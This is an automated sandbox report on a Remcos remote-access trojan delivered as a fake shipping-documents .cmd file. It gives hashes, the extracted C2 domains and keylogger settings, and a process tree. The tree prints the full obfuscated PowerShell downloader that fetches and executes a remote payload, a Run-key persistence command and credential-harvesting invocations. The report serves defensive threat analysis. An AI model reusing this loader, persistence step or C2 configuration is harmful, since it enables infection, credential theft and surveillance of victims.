Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/12/2024, 14:26

General

  • Target

    awb_shipping_documents_bl_inv_2024_12_04_000000000000000.cmd

  • Size

    7KB

  • MD5

    12ee31039816c33d31fb9dad778fe576

  • SHA1

    c1959d46a3384851398249cef3e27e5d0296f884

  • SHA256

    b1b8e1093c838012c779d0f80fff877ef269072b8807d53906e0c0aef343f9e4

  • SHA512

    95780e880506d8974ca70a683bd941c0c7d783d02b319760a7cd692c4526da9e82f5f21fa86d183d316dec4acef9c9a9c15f73695b9072774631d62ce5e1ddb8

  • SSDEEP

    96:zSqPH/nDhhlCkBx+/h8l4GwKga/BKvv1XrxKEXv5+SqapBF/H1n9pas:DHrhhlTv+p8l4GoYM31NKEXwapV90s

Malware Config

Extracted

Family

remcos

Botnet

New

C2

janout21oadsts1.duckdns.org:57484

janout21oadsts1.duckdns.org:57483

janout21oadsts2.duckdns.org:57484

janout21oadsts3.duckdns.org:57484

janout21oadsts4.duckdns.org:57484

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    amaonspt.dat

  • keylog_flag

    false

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    lmoijuetgtso-X0FCJD

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\awb_shipping_documents_bl_inv_2024_12_04_000000000000000.cmd"
    1⤵
    • System Network Configuration Discovery: Internet Connection Discovery
    • Suspicious use of WriteProcessMemory
    PID:4528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden ";$Biographizes='Spejlglatte';;$Rygstd165='Decorums';;$Kommandrernes='Eerock';;$Omfavnelses='Mole';;$agueweed=$host.Name;function Understtning($Polycrase){If ($agueweed) {$Inconsumptiblennerves=5} for ($Inconsumptible=$Inconsumptiblennerves;;$Inconsumptible+=6){if(!$Polycrase[$Inconsumptible]) { break };$Helsiderne+=$Polycrase[$Inconsumptible];$Prangerne='Svide'}$Helsiderne}function Unplagiarizeds($Disparish){ .($Indtjeningsmuligheds124) ($Disparish)}$Gnotobiosis=Understtning 'NominNAfsmeE atatTrill.Frndew';$Gnotobiosis+=Understtning 'dagceeSkrumBLeverCvand.LNyamwi SukkEUdsmin Retrt';$Hundeslaede=Understtning 'Afka MTen roEphemzOpprei ,irelFo,tulAd,inatilka/';$Ageustia=Understtning ' ThewTPostelChordsRufic1 msae2';$hucksterage='Accre[To kiNT keseBrandtRo,in.BejdsS ntameTriarrSa gbVMar tI chalCArbeje rsnipmassiObund i ,fprn GugltBlaffMHa.gkAdozenn,olluaMom,ng NeurEUnforR Sola]P,ary: J rd:bnne,sFabr eJeffyC Be,tUApokarEssayISkramtCykliyTriolpWhiter Sa lOForaaTFisseoVord.CPi toOAd.atl Snoo= Bnde$MillsAeleveG DeaiE UnsuuKvotaSUnhoaTIntaiI ndera';$Hundeslaede+=Understtning 'Brums5Skk p. Meta0Jasig kh ka( Poe WEl.koiPrel,nStepldUnd,roEngrawOplags Spt, BondeNdybd TReduk Hexaf1 Udpo0S eci.Tallb0Ka.in;D.bva Em ssWSkydei C aznBaske6Hadi 4Sa mo;Frees Pren xBrod.6Cal s4Dann ;Helhe UnderrSubi,vEle a:water1 ar.h3Epic 1Isorc.Super0livsa) Spik Fa foGO ermeOdalvcPraenkFan.lo Omst/Ku,st2Uto,i0frste1hercy0Pho.o0Hulsx1Komma0Inter1Avi p SpindFGarbliS iberStopkeT mpofTrebuo kildxKultu/Strst1 Misz3 Sn,r1 onco.Grisk0';$Undiscomfitable152=Understtning ' Blaau UninS Vin,EPiasar aplo-RiotraPolypGFolkeE InteNSofaeT';$Amtsskattekredses=Understtning 'ZulinhChihutTakletRemonpMisf.s vej.:Slagg/Jaspa/ EleukIdyllrEnravt watsoStavepOpspuuF rsvp ntik. Eft,cTegnio TetamBade,/RingeGSuperrr.ndtidam rp pidepTorriiVelo nBr neeKot lsValgnslae e..echnp urbsRumvgpReder> NonshVandbtNup etPanoipY elssCentr:Birre/.reds/Montak Affrr abuntTr gso,ummipchestuBillepDissos Cavi.GenercAnd no,elevmgraat/KiropG Rbdir Pat,iAflevpSarcopDaekoiF lesnApocoeDagbdslivresImmis.GestipGor osJettyp';$Ligestillingsraadets=Understtning ' Plod>';$Indtjeningsmuligheds124=Understtning 'UreteiSupplES llaX';$Sankningerne='Ornaterne';$Tilgivnes183='\Nonpolemic.Fod';Unplagiarizeds (Understtning ',nthr$,atalGHungaLSymptOInkasb Tt,eaT,anslSos e:CafslbS nteUHumbuNHusv,DSrgmoSUberrKRectoR EntoA Duk b RisoePropon atteERattlSInart=Overs$Lyk seUnretn ressV yph:FulahA IagtPBalefPAbortDudbula SubqT I,clAKlamm+Prock$ c okTRorkai F,mtl Unmugun uci MergvHoecaNSkridENonobsIntro1ulydi8Rephr3');Unplagiarizeds (Understtning 'Raffi$Cent GSpillLPr gnOTo.msbra.ulANexusLSyna : S.orSSv,niTRokkeoAplotrKorruhAffareOver,dDukedsDupliTLaursI ParvdTipolE IncoR Aand=Vaabe$Protoa hylMVildhTLindoSOp ens KundKP chyA Disct BaraTAg,vee.asmiKunparrKigh e nedsdSolb.sPaastE B spsWinke. .adeSPeltaPStd mlInermIPhytoTJv st(T.ene$ Tr vLScaleIKroopGsurmleMrk nS,omomT iltoISurmuLHaandlPrefaiRetronBacheG HypasDataoR,asseA TeamA wennd reerEKlapst WhimSInter)');Unplagiarizeds (Understtning $hucksterage);$Amtsskattekredses=$Storhedstider[0];$Femineity=(Understtning 'Tungt$ PilegTax dl,vlerOTrediBOutguAKon iLen.ta:FormaLSquarAJemedtEpicaISdeliN Ko.m= Exesn Ver eunlumw,odul-Stro O nconbP cryjProleeUd,usC FlngT Mund Sp.edsSponsysyrniSS rygtJazzmERosabM efol. Attr$ orgGCandlNVandfOStru tPerioODistrB.ypriIConduO Non sLiliaiUdturs');Unplagiarizeds ($Femineity);Unplagiarizeds (Understtning ' Galv$RegovLLonelaTorcht ecoliGladsnBl tz.Vu tuHfumleePaseaaasca dDrap.eIndkarFlashs Tran[Forsg$ lusUChivynSynerdIsotai PopjsVendecUnsnao OmstmStratfCamisiCitizt TektaHug rbSuperlA tioe Flow1Konci5P cot2Amela]Uanbr=Alida$ ntikHoy teuLo usn Ho sd agfoeIo.ossIncl.lBesgsaCorroeIndivdD tace');$die=Understtning ' Br,c$InharLOverfaElekttNaschiHegn nExist.MenetDReimboThomsw A tenBarselErotioUgun,a pnsedUdb.dFDrifti Drspl Ankoe Imbr(Whe r$InterASyn.amMeso t Ov,rsA semsSoundkUdk naJentjtCatcatWeasoeThylakSk.ftrU vireP ogrd Privs Garme trudsCatst, nter$ UnipVFi stdPaastdKapeleF.ydel Sophb El osSktte)';$Vddelbs=$Bundskrabenes;Unplagiarizeds (Understtning 'Mei,e$ StdnG CelllVaskeOBerinB rosta Sa,llHun r:RishtP isoseD,ssilSarkaE Ar eCAr,hwaLejernFed,di asonFFrednOEconorStatsmapagoEGudbesUnsta=Craw (,teretPapereC ocaS M gatBilld-CyberpKvindAPlumbTHeis.hItene hort$Unimpvfrdi D HolddobturEDemorL Hydrb Longs Mude)');while (!$Pelecaniformes) {Unplagiarizeds (Understtning 'Ba.ca$SygdogBefral AmpuoLobcobToksiaBaskelKlini: SmldPVand r evie SalicForstoPlatinBalanfUnfiliSkuesd Ca,heIr.epd Ini =Out l$AabniIconstnPres c NgteoFodbanMarlasI,limuDeviomVed,ipHoristPushei P eabRelatlVekseeBagtan.sychdTiltaeCyprin Uns tClubhi p atnHje,tg') ;Unplagiarizeds $die;Unplagiarizeds (Understtning ' ribSTemattprograLynkrR dvicTSkvul-Toe.lsDrukmLJingoeRegioE,uckeP kako Stig.4');Unplagiarizeds (Understtning 'Bedve$ eglGD.blelDest O Sa ab UforA nderlAliso:ProtepPriviE emisLKanneEIncomC OxycaS lviNBeg niDegneFRi eloS,ejsR HurtMKiblaeRad.as Bi l=Flask(LadleTTramaEStephsGambrtFratr- KabepRdgraaMixhiTBar.aHReit S art$ RegevLaminDtalesD.ecroeFor tlslithbRigm SFling)') ;Unplagiarizeds (Understtning 'aerat$CorotgFe.tilP,mpeoUnbrubpulsaa tot,lSkmte:SymboALame FBlousPFang r ValgoHvalbeScholv Oppin AtomEHenvi=Ten a$Spo.tgIndrelTek ioAllegbOsm.naUigenLBattl:Staalt tum iVaabetInv tRD emtELedsaRReco I StjenoperagGambiEMal,irSn bbnAchteEFo brSStart+Exe,c+Besvi% Soot$Gausss.agsbtGrounOAmmunRTriplhAdvokeFragtDC intsFosteTAlby.IDb foD TerreOutmarEssig.,entoC Br do Am.rUkicksn Se ht') ;$Amtsskattekredses=$Storhedstider[$Afproevne]}$Rackworks=291737;$Virakkens=31497;Unplagiarizeds (Understtning ' esej$PostdgK.merl mfanOHeptabMartiaCo stl U is:Fo,udbStip.lS,atioNon,lW.angssR pagiMillrl ReluyDelkr Vande=topli BecloGReacce.roldtHoumo-S bmic.ejouOFunktNantictSkoleESkrumNScr wtSinic Pa ay$ Ja uvFerieDEmmardFjerdeLecheL equaBFo sis');Unplagiarizeds (Understtning ' Djvl$.terngTrg gl BilloForrabY relaOver lKarak: Fj rH,pumoe Afprl lacku alorlSlu.vdU.godeOpfarn Unapt Peri Sirs=Retep Skrof[SwayeSBecuryKomposBifentExclae BadsmRealk.CognaCSvmmeoT.ompn NervvEkspoeLauterD skotRedo.] di,k:Zamou:ReinvFPhotor SprioDi,tomTricoBSeagiaHvebosPapire Udvi6Affal4Opna.SKraket Vermr Tilri Hudan BevigBagia( A ds$Aria.BS rymlKlemboTidlgwHeliasFiligiDi kelvi.key,poon)');Unplagiarizeds (Understtning ' Skjo$CountGAfd.lLNyordoMinj,ByatalAAminoL desi:co egBAftenI outhL J,rdbGan,loArchaASengesNom n Penta= Rhap Serg[DiatoSinstrY Jo,gsSv ndTPro.lEmeaniMTriad. H.emT Prn,EfortrXM,ereTUddat.NeuroE iliNBe.nnc GeocoVagtedServiISero,nFyrreG peck]Unpr :G atu:S gtsabachesHem,ac,ebutISubcoi snus. SupeGQuateE Br dTd hydSSku.ptPaleorStridi GalinFolkeg ushe(Imp o$FlleshSindieRottelforuruDecalLoperadVildfED erenFrumetVerdu)');Unplagiarizeds (Understtning ' ieti$Ov rtG pooLGrovfOSadd.BBipheA ntemLUde l:inte.DExs lrarbejaErythG ruskOpro uNOligoTDehumaViddeiContalTrina=Op.ak$ScuddbSu.phICamailPrealB InteO ,ydraDisthS Embr.Ant ss ,eliuTudetBNyrelSSkil.T Vegerrespoi HentNIsoscGgoose( omle$FusioRAtomfaQuippCFel nkIonbiwHe frOHal lrDragokVagtsSSevil,Udvik$StallVCyni.I,ugesrMes nAgeomoKA svaKAn uaEdunjaNSkuddsFrist)');Unplagiarizeds $Dragontail;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:744
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Biographizes='Spejlglatte';;$Rygstd165='Decorums';;$Kommandrernes='Eerock';;$Omfavnelses='Mole';;$agueweed=$host.Name;function Understtning($Polycrase){If ($agueweed) {$Inconsumptiblennerves=5} for ($Inconsumptible=$Inconsumptiblennerves;;$Inconsumptible+=6){if(!$Polycrase[$Inconsumptible]) { break };$Helsiderne+=$Polycrase[$Inconsumptible];$Prangerne='Svide'}$Helsiderne}function Unplagiarizeds($Disparish){ .($Indtjeningsmuligheds124) ($Disparish)}$Gnotobiosis=Understtning 'NominNAfsmeE atatTrill.Frndew';$Gnotobiosis+=Understtning 'dagceeSkrumBLeverCvand.LNyamwi SukkEUdsmin Retrt';$Hundeslaede=Understtning 'Afka MTen roEphemzOpprei ,irelFo,tulAd,inatilka/';$Ageustia=Understtning ' ThewTPostelChordsRufic1 msae2';$hucksterage='Accre[To kiNT keseBrandtRo,in.BejdsS ntameTriarrSa gbVMar tI chalCArbeje rsnipmassiObund i ,fprn GugltBlaffMHa.gkAdozenn,olluaMom,ng NeurEUnforR Sola]P,ary: J rd:bnne,sFabr eJeffyC Be,tUApokarEssayISkramtCykliyTriolpWhiter Sa lOForaaTFisseoVord.CPi toOAd.atl Snoo= Bnde$MillsAeleveG DeaiE UnsuuKvotaSUnhoaTIntaiI ndera';$Hundeslaede+=Understtning 'Brums5Skk p. Meta0Jasig kh ka( Poe WEl.koiPrel,nStepldUnd,roEngrawOplags Spt, BondeNdybd TReduk Hexaf1 Udpo0S eci.Tallb0Ka.in;D.bva Em ssWSkydei C aznBaske6Hadi 4Sa mo;Frees Pren xBrod.6Cal s4Dann ;Helhe UnderrSubi,vEle a:water1 ar.h3Epic 1Isorc.Super0livsa) Spik Fa foGO ermeOdalvcPraenkFan.lo Omst/Ku,st2Uto,i0frste1hercy0Pho.o0Hulsx1Komma0Inter1Avi p SpindFGarbliS iberStopkeT mpofTrebuo kildxKultu/Strst1 Misz3 Sn,r1 onco.Grisk0';$Undiscomfitable152=Understtning ' Blaau UninS Vin,EPiasar aplo-RiotraPolypGFolkeE InteNSofaeT';$Amtsskattekredses=Understtning 'ZulinhChihutTakletRemonpMisf.s vej.:Slagg/Jaspa/ EleukIdyllrEnravt watsoStavepOpspuuF rsvp ntik. Eft,cTegnio TetamBade,/RingeGSuperrr.ndtidam rp pidepTorriiVelo nBr neeKot lsValgnslae e..echnp urbsRumvgpReder> NonshVandbtNup etPanoipY elssCentr:Birre/.reds/Montak Affrr abuntTr gso,ummipchestuBillepDissos Cavi.GenercAnd no,elevmgraat/KiropG Rbdir Pat,iAflevpSarcopDaekoiF lesnApocoeDagbdslivresImmis.GestipGor osJettyp';$Ligestillingsraadets=Understtning ' Plod>';$Indtjeningsmuligheds124=Understtning 'UreteiSupplES llaX';$Sankningerne='Ornaterne';$Tilgivnes183='\Nonpolemic.Fod';Unplagiarizeds (Understtning ',nthr$,atalGHungaLSymptOInkasb Tt,eaT,anslSos e:CafslbS nteUHumbuNHusv,DSrgmoSUberrKRectoR EntoA Duk b RisoePropon atteERattlSInart=Overs$Lyk seUnretn ressV yph:FulahA IagtPBalefPAbortDudbula SubqT I,clAKlamm+Prock$ c okTRorkai F,mtl Unmugun uci MergvHoecaNSkridENonobsIntro1ulydi8Rephr3');Unplagiarizeds (Understtning 'Raffi$Cent GSpillLPr gnOTo.msbra.ulANexusLSyna : S.orSSv,niTRokkeoAplotrKorruhAffareOver,dDukedsDupliTLaursI ParvdTipolE IncoR Aand=Vaabe$Protoa hylMVildhTLindoSOp ens KundKP chyA Disct BaraTAg,vee.asmiKunparrKigh e nedsdSolb.sPaastE B spsWinke. .adeSPeltaPStd mlInermIPhytoTJv st(T.ene$ Tr vLScaleIKroopGsurmleMrk nS,omomT iltoISurmuLHaandlPrefaiRetronBacheG HypasDataoR,asseA TeamA wennd reerEKlapst WhimSInter)');Unplagiarizeds (Understtning $hucksterage);$Amtsskattekredses=$Storhedstider[0];$Femineity=(Understtning 'Tungt$ PilegTax dl,vlerOTrediBOutguAKon iLen.ta:FormaLSquarAJemedtEpicaISdeliN Ko.m= Exesn Ver eunlumw,odul-Stro O nconbP cryjProleeUd,usC FlngT Mund Sp.edsSponsysyrniSS rygtJazzmERosabM efol. Attr$ orgGCandlNVandfOStru tPerioODistrB.ypriIConduO Non sLiliaiUdturs');Unplagiarizeds ($Femineity);Unplagiarizeds (Understtning ' Galv$RegovLLonelaTorcht ecoliGladsnBl tz.Vu tuHfumleePaseaaasca dDrap.eIndkarFlashs Tran[Forsg$ lusUChivynSynerdIsotai PopjsVendecUnsnao OmstmStratfCamisiCitizt TektaHug rbSuperlA tioe Flow1Konci5P cot2Amela]Uanbr=Alida$ ntikHoy teuLo usn Ho sd agfoeIo.ossIncl.lBesgsaCorroeIndivdD tace');$die=Understtning ' Br,c$InharLOverfaElekttNaschiHegn nExist.MenetDReimboThomsw A tenBarselErotioUgun,a pnsedUdb.dFDrifti Drspl Ankoe Imbr(Whe r$InterASyn.amMeso t Ov,rsA semsSoundkUdk naJentjtCatcatWeasoeThylakSk.ftrU vireP ogrd Privs Garme trudsCatst, nter$ UnipVFi stdPaastdKapeleF.ydel Sophb El osSktte)';$Vddelbs=$Bundskrabenes;Unplagiarizeds (Understtning 'Mei,e$ StdnG CelllVaskeOBerinB rosta Sa,llHun r:RishtP isoseD,ssilSarkaE Ar eCAr,hwaLejernFed,di asonFFrednOEconorStatsmapagoEGudbesUnsta=Craw (,teretPapereC ocaS M gatBilld-CyberpKvindAPlumbTHeis.hItene hort$Unimpvfrdi D HolddobturEDemorL Hydrb Longs Mude)');while (!$Pelecaniformes) {Unplagiarizeds (Understtning 'Ba.ca$SygdogBefral AmpuoLobcobToksiaBaskelKlini: SmldPVand r evie SalicForstoPlatinBalanfUnfiliSkuesd Ca,heIr.epd Ini =Out l$AabniIconstnPres c NgteoFodbanMarlasI,limuDeviomVed,ipHoristPushei P eabRelatlVekseeBagtan.sychdTiltaeCyprin Uns tClubhi p atnHje,tg') ;Unplagiarizeds $die;Unplagiarizeds (Understtning ' ribSTemattprograLynkrR dvicTSkvul-Toe.lsDrukmLJingoeRegioE,uckeP kako Stig.4');Unplagiarizeds (Understtning 'Bedve$ eglGD.blelDest O Sa ab UforA nderlAliso:ProtepPriviE emisLKanneEIncomC OxycaS lviNBeg niDegneFRi eloS,ejsR HurtMKiblaeRad.as Bi l=Flask(LadleTTramaEStephsGambrtFratr- KabepRdgraaMixhiTBar.aHReit S art$ RegevLaminDtalesD.ecroeFor tlslithbRigm SFling)') ;Unplagiarizeds (Understtning 'aerat$CorotgFe.tilP,mpeoUnbrubpulsaa tot,lSkmte:SymboALame FBlousPFang r ValgoHvalbeScholv Oppin AtomEHenvi=Ten a$Spo.tgIndrelTek ioAllegbOsm.naUigenLBattl:Staalt tum iVaabetInv tRD emtELedsaRReco I StjenoperagGambiEMal,irSn bbnAchteEFo brSStart+Exe,c+Besvi% Soot$Gausss.agsbtGrounOAmmunRTriplhAdvokeFragtDC intsFosteTAlby.IDb foD TerreOutmarEssig.,entoC Br do Am.rUkicksn Se ht') ;$Amtsskattekredses=$Storhedstider[$Afproevne]}$Rackworks=291737;$Virakkens=31497;Unplagiarizeds (Understtning ' esej$PostdgK.merl mfanOHeptabMartiaCo stl U is:Fo,udbStip.lS,atioNon,lW.angssR pagiMillrl ReluyDelkr Vande=topli BecloGReacce.roldtHoumo-S bmic.ejouOFunktNantictSkoleESkrumNScr wtSinic Pa ay$ Ja uvFerieDEmmardFjerdeLecheL equaBFo sis');Unplagiarizeds (Understtning ' Djvl$.terngTrg gl BilloForrabY relaOver lKarak: Fj rH,pumoe Afprl lacku alorlSlu.vdU.godeOpfarn Unapt Peri Sirs=Retep Skrof[SwayeSBecuryKomposBifentExclae BadsmRealk.CognaCSvmmeoT.ompn NervvEkspoeLauterD skotRedo.] di,k:Zamou:ReinvFPhotor SprioDi,tomTricoBSeagiaHvebosPapire Udvi6Affal4Opna.SKraket Vermr Tilri Hudan BevigBagia( A ds$Aria.BS rymlKlemboTidlgwHeliasFiligiDi kelvi.key,poon)');Unplagiarizeds (Understtning ' Skjo$CountGAfd.lLNyordoMinj,ByatalAAminoL desi:co egBAftenI outhL J,rdbGan,loArchaASengesNom n Penta= Rhap Serg[DiatoSinstrY Jo,gsSv ndTPro.lEmeaniMTriad. H.emT Prn,EfortrXM,ereTUddat.NeuroE iliNBe.nnc GeocoVagtedServiISero,nFyrreG peck]Unpr :G atu:S gtsabachesHem,ac,ebutISubcoi snus. SupeGQuateE Br dTd hydSSku.ptPaleorStridi GalinFolkeg ushe(Imp o$FlleshSindieRottelforuruDecalLoperadVildfED erenFrumetVerdu)');Unplagiarizeds (Understtning ' ieti$Ov rtG pooLGrovfOSadd.BBipheA ntemLUde l:inte.DExs lrarbejaErythG ruskOpro uNOligoTDehumaViddeiContalTrina=Op.ak$ScuddbSu.phICamailPrealB InteO ,ydraDisthS Embr.Ant ss ,eliuTudetBNyrelSSkil.T Vegerrespoi HentNIsoscGgoose( omle$FusioRAtomfaQuippCFel nkIonbiwHe frOHal lrDragokVagtsSSevil,Udvik$StallVCyni.I,ugesrMes nAgeomoKA svaKAn uaEdunjaNSkuddsFrist)');Unplagiarizeds $Dragontail;"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2332
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fatbirds" /t REG_EXPAND_SZ /d "%Fremskridtspartier% -windowstyle 1 $Cognacsfarvede=(gp -Path 'HKCU:\Software\Sacerdotism\').Floristics;%Fremskridtspartier% ($Cognacsfarvede)"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3524
        • C:\Windows\SysWOW64\reg.exe
          REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fatbirds" /t REG_EXPAND_SZ /d "%Fremskridtspartier% -windowstyle 1 $Cognacsfarvede=(gp -Path 'HKCU:\Software\Sacerdotism\').Floristics;%Fremskridtspartier% ($Cognacsfarvede)"
          4⤵
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:4528
      • C:\Windows\SysWOW64\msiexec.exe
        C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\pdsssxfibrvnwjwoi"
        3⤵
          PID:4652
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\pdsssxfibrvnwjwoi"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:4280
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zxgktpqbpznsypkszehaw"
          3⤵
          • Accesses Microsoft Outlook accounts
          • System Location Discovery: System Language Discovery
          PID:3804
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\jalvtiaddhffjvgwjocthdkc"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1640

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      71444def27770d9071039d005d0323b7

      SHA1

      cef8654e95495786ac9347494f4417819373427e

      SHA256

      8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

      SHA512

      a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ip3ru3m.noo.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\pdsssxfibrvnwjwoi

      Filesize

      4KB

      MD5

      c3c5f2de99b7486f697634681e21bab0

      SHA1

      00f90d495c0b2b63fde6532e033fdd2ade25633d

      SHA256

      76296dc29f718988107d35d0e0b835c2bf3fc7405e79e5121aa4738f82b51582

      SHA512

      7c60ffdc093de30e793d20768877f2f586bee3e948767871f9a1139252d5d2f593ba6f88ce0ed5f72c79faddb26186792df0581e4b6c84d405c44d9d12f951b8

    • C:\Users\Admin\AppData\Roaming\Nonpolemic.Fod

      Filesize

      420KB

      MD5

      063871f6939ea316b5ae7521481695d5

      SHA1

      99a5e20f0043d1615f6ac93906d0a39594459d44

      SHA256

      0287e48d0c5199a6b426be2ac7f1ee87be65e61138b6cf6434ce604740d044d9

      SHA512

      9ed360ecdbc85566a52c03f89992859ee3521068f4557ac3506c497a4df90916f6ac9c0c442d6b798a8c148f7c5f86c189ece32d76ff1001c21d2218d9290ba8

    • memory/744-20-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

      Filesize

      10.8MB

    • memory/744-17-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

      Filesize

      10.8MB

    • memory/744-14-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

      Filesize

      10.8MB

    • memory/744-13-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

      Filesize

      10.8MB

    • memory/744-2-0x00007FFE00F33000-0x00007FFE00F35000-memory.dmp

      Filesize

      8KB

    • memory/744-8-0x000002ECE4B20000-0x000002ECE4B42000-memory.dmp

      Filesize

      136KB

    • memory/1640-71-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1640-76-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1640-78-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2332-47-0x00000000750C0000-0x0000000075870000-memory.dmp

      Filesize

      7.7MB

    • memory/2332-55-0x00000000750C0000-0x0000000075870000-memory.dmp

      Filesize

      7.7MB

    • memory/2332-26-0x0000000005390000-0x00000000053F6000-memory.dmp

      Filesize

      408KB

    • memory/2332-39-0x0000000005A70000-0x0000000005A8E000-memory.dmp

      Filesize

      120KB

    • memory/2332-40-0x0000000005AC0000-0x0000000005B0C000-memory.dmp

      Filesize

      304KB

    • memory/2332-41-0x00000000072C0000-0x000000000793A000-memory.dmp

      Filesize

      6.5MB

    • memory/2332-42-0x0000000006020000-0x000000000603A000-memory.dmp

      Filesize

      104KB

    • memory/2332-43-0x0000000006D30000-0x0000000006DC6000-memory.dmp

      Filesize

      600KB

    • memory/2332-44-0x0000000006C90000-0x0000000006CB2000-memory.dmp

      Filesize

      136KB

    • memory/2332-45-0x0000000007EF0000-0x0000000008494000-memory.dmp

      Filesize

      5.6MB

    • memory/2332-27-0x0000000005400000-0x0000000005466000-memory.dmp

      Filesize

      408KB

    • memory/2332-25-0x0000000004BC0000-0x0000000004BE2000-memory.dmp

      Filesize

      136KB

    • memory/2332-48-0x00000000750C0000-0x0000000075870000-memory.dmp

      Filesize

      7.7MB

    • memory/2332-49-0x00000000750C0000-0x0000000075870000-memory.dmp

      Filesize

      7.7MB

    • memory/2332-50-0x00000000750CE000-0x00000000750CF000-memory.dmp

      Filesize

      4KB

    • memory/2332-51-0x00000000750C0000-0x0000000075870000-memory.dmp

      Filesize

      7.7MB

